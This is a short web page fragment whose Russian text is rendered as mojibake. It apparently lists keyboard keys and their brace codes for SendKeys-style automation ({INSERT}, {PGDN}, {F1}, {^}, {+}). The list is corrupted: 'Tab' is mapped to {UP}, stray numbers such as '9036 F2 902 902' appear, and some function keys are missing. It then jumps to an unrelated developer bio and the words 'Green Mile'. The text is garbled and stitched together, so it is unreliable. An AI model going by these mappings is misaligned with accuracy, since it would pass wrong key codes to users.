    Вставка {INSERT} ΠΈΠ»ΠΈ {INS}
    Num Lock {NUMLOCK}
    Page Down {PGDN}
    Page Up {PGUP}
    {PRTSC}
    Π‘Ρ‚Ρ€Π΅Π»ΠΊΠ° Π²ΠΏΡ€Π°Π²ΠΎ {Π’ΠŸΠ ΠΠ’Πž}
    Π‘Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠ° ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ {SCROLLLOCK}
    Tab Tab {UP}
    F1 {F1}
    F2 {F2}
    F3 {F3}
    F5 {F5}
    F6 {F6}
    F7 {F7}
    9036 F2 902 902 902 {F9}
    F10 {F10}
    F11 {F11}
    F12 {F12}
    {F13}
    F14 {F14}
    F15 {F15}
    F16 {F16} 903 902
    Ctrl {^}
    Π‘Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠ° ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ {+}
    ЗСлСная миля

    Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния (ΡΡ‚Π°Ρ€ΡˆΠΈΠΉ) BRAC ICT

    Π‘Π°Π½Π³Π»Π°Π΄Π΅Ρˆ

    Π¨Π°ΠΉΡ„ΡƒΠ» Ислам (Палаш) — цСлСустрСмлСнный, энСргичный, ΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΉΡΡ Π΄ΠΎΠ²Π΅Ρ€ΠΈΠ΅ΠΌ, Π²Π΅Π΄ΡƒΡ‰ΠΈΠΉ ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€-программист с Π±ΠΎΠ»Π΅Π΅ Ρ‡Π΅ΠΌ 5-Π»Π΅Ρ‚Π½ΠΈΠΌ ΠΎΠΏΡ‹Ρ‚ΠΎΠΌ ΠΈ знаниями Π² области программирования.

    Leave a comment